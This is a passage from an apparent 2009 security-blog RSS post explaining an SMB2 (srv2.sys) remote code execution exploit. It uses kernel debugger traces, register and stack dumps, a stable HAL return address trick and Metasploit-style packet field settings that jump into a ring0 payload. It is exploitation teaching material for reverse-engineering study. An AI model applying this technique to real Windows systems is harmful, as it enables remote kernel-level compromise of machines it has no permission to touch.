#ff0000;"><span style="color: #ffffff;">&#8220;CALL DWORD PTR SS:[EBP+ECX*2+42]&#8221; we call unknown function and a nice AV !  but Stephen&#8217;s l33t magic makes things right <img src='http://www.snoop-security.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  . &#8220;or&#8221;  instruction is not so important and after that we jump to loc_91E79698 :</span></span></span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="loc_91E79698 block and other guys" src="http://img.majidonline.com/pic/237457/16.png" alt="fig.16" width="562" height="407" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">there isn&#8217;t any important thing in loc_91E79698 block , we skip this block and go to  loc_91E796B5 . here we  have little tricky address. look at this instructions :</span></span></span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">mov     ecx, [esi+3Ch]
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">mov     eax, [ecx+18h]
</span></span></span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">esi+3c most point to a readble place , becuse at nex intruction ecx+18 read value from preview loaded address . Stephen take 0xffdf0d1c  . so 0xffdf0d1c load into ecx by first instruction and at second instruction ecx+18 = 0&#215;0000000 , a zero readable place ! then we have &#8220;cmp     eax, ebx&#8221; , eax is zero becuase of &#8220;</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">mov     eax, [ecx+18h]</span></span></span></span><span style="color: #ffffff;">&#8221; instruction and ebx is also zero because of xor instruction in  loc_91E79668 block.so jge instruction execute and we jump to loc_91E7971F block :</span></span></span></span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="loc_91E7971F" src="http://img.majidonline.com/pic/237461/17.png" alt="fig.17" width="213" height="114" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">we want jnz intruction direct us to red line pointet block , so we need both ecx and eax being zero ! so we most put zero at esi+0A0h and esi+9Ch . Stephen do thing right , after that instructions :</span></span></span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> kd&gt; r
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">eax=00000000 ebx=00000000 ecx=00000000 edx=000017f3 esi=85211bf8 edi=ffffffff
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">eip=91b8e72b esp=88561cfc ebp=88561d10 iopl=0         nv up ei pl zr na pe nc
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">srv2!SrvConsumeDataAndComplete2+0x11a:
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">91b8e72b 3bc8            cmp     ecx,eax
</span></span></span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> now we are here :</span></span></span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" src="http://img.majidonline.com/pic/237463/18.png" alt="fig.18" width="285" height="107" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">here is a another haxor edit ! i don&#8217;t know how Stephen found this great function !?! </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">really</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> really</span></span></span></span></span></span></span></span><span style="color: #ffffff;"> awesome work Stephen ! if you lock carefully at &#8220;mov     byte ptr [esi+0C8h], 1&#8243; instruction , you will remember a important CMP instruction . let me help you ! lets jump backward to SrvProcCompleteRequest function .  at firs of </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">SrvProcCompleteRequest</span></span></span></span><span style="color: #ffffff;"> function we have :</span></span></span></span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">cmp     byte ptr [esi+0C8h], 0
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">jnz     short loc_91E78AE7
</span></span></span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;"> if this compare lead us to </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">loc_91E78AE7</span></span></span></span><span style="color: #ffffff;"> block we can reach at  fully controllable EAX , so if esi+0c8 be zero we loos code execute . but with with </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">&#8220;mov     byte ptr [esi+0C8h], 1&#8243;</span></span></span></span><span style="color: #ffffff;"> we can reach at desire place ! really awesome work and function selection ! now after that haxor Smb Header edit , we set </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">esi+0C8h</span></span></span></span></span></span></span></span><span style="color: #ffffff;"> by one and  make code execution happen . lets go further in loc_91E79968 :</span></span></span></span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="loc_91E79968" src="http://img.majidonline.com/pic/237464/19.png" alt="fig.19" width="548" height="113" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> this is second call to SrvProcCompleteRequest . so lets go :</span></span></span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" src="http://img.majidonline.com/pic/237465/20.png" alt="fig.20" width="656" height="358" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">we are here after cmp instruction make&#8221;jnz     short loc_91E78AE7&#8243; happen . in </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">loc_91E78AE7</span></span></span></span><span style="color: #ffffff;"> block esi+0A8h most be Zero to let jz instruction execute.after jumping into loc_91E78B1D block , ebp+arg_8 compared with zero ! now ebp+arg_8 value is 0&#215;00000001 .we make this also by l33t haxor edit , you remember that ? no ? read again carefully ! when we jump to loc_91E78C50 block , edi is zero becuse of xor intruction in loc_91E78AE7 block, so we need non-zero value in esi+30h.  if jz don&#8217;t execute , we jump here :</span></span></span></span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" src="http://img.majidonline.com/pic/237466/21.png" alt="fig.20" width="576" height="335" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">in first block we have no important thing , just some address most be readable  and it is better that esi+0E0h point to a Zero value ( this make way near ) . now because </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">esi+0E0h</span></span></span></span><span style="color: #ffffff;"> point to zero we jump into loc_91E78B80 block . there nothing also . so we go to this block :</span></span></span></span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="Love Story" src="http://img.majidonline.com/pic/237467/22.png" alt="fig.22" width="279" height="205" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">we are so close to the end of story . we put Return Address at esi+168h and then BOOOM!!! in the next block our fully controllable return address from Packet+ </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">0&#215;168</span></span></span></span><span style="color: #ffffff;"> will call ! Stephen do the l33t job here again . what is a reliable return address ? jumping directly to shellcode in our packet ? no this not the answer ! if do this and using hardcode address , our exploit maybe work just one time ! because ASRL,Reboot and many other thing cause addresses change ! Stephen find 0xFFD00D09 as Return address . this address is from Kernell HAL memory and there is no ASRL ! so this address is alway stable ! but this address point to what ? lets find out :</span></span></span></span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; p
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">srv2!SrvProcCompleteRequest+0xd2:
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">91b8db91 ffd0            call    eax
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; u ffd00d09
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">ffd00d09 5e              pop     esi
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">ffd00d0a c3              ret
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">ffd00d0b 7c58            jl      ffd00d65
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">ffd00d0d 0fb75102        movzx   edx,word ptr [ecx+2]
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">ffd00d11 0fb77002        movzx   esi,word ptr [eax+2]
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">ffd00d15 663bd6          cmp     dx,si
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">ffd00d18 7fed            jg      ffd00d07
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">ffd00d1a 7c49            jl      ffd00d65
</span></span></span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> &#8220;pop esi,ret &#8221; ? yes . lets look at stack :</span></span></span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; p
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">Breakpoint 6 hit
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">ffd00d09 5e              pop     esi
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; p
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">ffd00d0a c3              ret
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; dd esp
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">88561cd0  85211bf8 ffffffff 00000000 85211bf8
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">88561ce0  00000000 00000000 88561d10 91b8e96f
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">88561cf0  85211bf8 00000000 00000001 85217444
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">88561d00  85211bf8 8515c778 ffdf0d04 000008a4
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">88561d10  88561d1c 91b8e997 3fffffb4 88561d34
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">88561d20  91b8dae2 85211bf8 85211bf8 91b8b901
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">88561d30  91b8b901 88561d50 91b8dab4 85211bf8
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">88561d40  00000000 91b8b901 8711bac0 8515c5d8
</span></span></span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> Yes , this is pointer to our packet ! we jump back to our packet , look at esi before this pop occurred :</span></span></span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> kd&gt; dd esi
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211bf8  424d5400 00000072 c8531800 e9000217
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c08  00000158 00000000 00000000 69890000
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c18  02022000 ffdf0d04 ffdf0d04 ffdf0d04
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c28  ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c38  00000000 00000000 91b71c1f 85211bf8
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c48  91b7157a 00000000 ffdf0d04 ffdf0d04
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c58  ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c68  ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04</span></span></span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">very nice jump ! lets execute shellcode :</span></span></span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; bp 85211bf8
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; u 85211bf8
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211bf8 00544d42        add     byte ptr [ebp+ecx*2+42h],dl
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211bfc 7200            jb      85211bfe
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211bfe 0000            add     byte ptr [eax],al
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c00 0018            add     byte ptr [eax],bl
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c02 53              push    ebx
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c03 c8170200        enter   217h,0
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c07 e958010000      jmp     85211d64
</span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">85211c0c 0000            add     byte ptr [eax],al
</span></span></span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">&#8220;</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">jmp     85211d64&#8243; instruction is value of Signature1 field in packet , here is exploit code :</span></span></span></span></span></span></span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> packet['Payload']['SMB'].v['Flags1']        = 0x18
</span></span></span></span></span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> packet['Payload']['SMB'].v['Flags2']        = 0xC853
</span></span></span></span></span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh']
</span></span></span></span></span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> packet['Payload']['SMB'].v['Signature1']    = 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload.
</span></span></span></span></span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> packet['Payload']['SMB'].v['Signature2']    = 0x00000000 # ...
</span></span></span></span></span></span></span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> packet['Payload']['SMB'].v['MultiplexID']   = rand( 0x10000 )
</span></span></span></span></span></span></span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">now we jump directly to ring0 shellcode and after that rin3 shellcode . go :</span></span></span></span></span></span></span></span></p>
<blockquote>
<pre><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; g </span></span></span></span></span></span></span></span>
<span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">Break instruction exception - code 80000003 (first chance) SharedUserData+0x4af: 001b:7ffe04af cc              int     3</span></span></span></span></span></span></span></span></pre>
</blockquote>
<p><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">i use trap-debugger shellcode so int3 instruction is my ring3 shellcode and you can see it executed gracefully .  last note is you most put shellcode in the suitable offset from you packet , because there was some instructions that changed yor packet data and if shellcode located in those offsets &#8230;. .</span></span></span></span></span></span></span></span><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> </span></span></span></span></span></span></span></span><span style="color: #ffffff;"> </span> <span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">have nice exploitation &#8211; snake.</span></span></span></span></span></span></span></span></span> <span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"> </span></span></span></span> <span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"> </span></span></span></span> <span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"> </span></span></span></span> <strong><em> </em></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.snoop-security.com/blog/index.php/2009/10/smb2-exploitation-guide-for-housekeepers-dummies/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
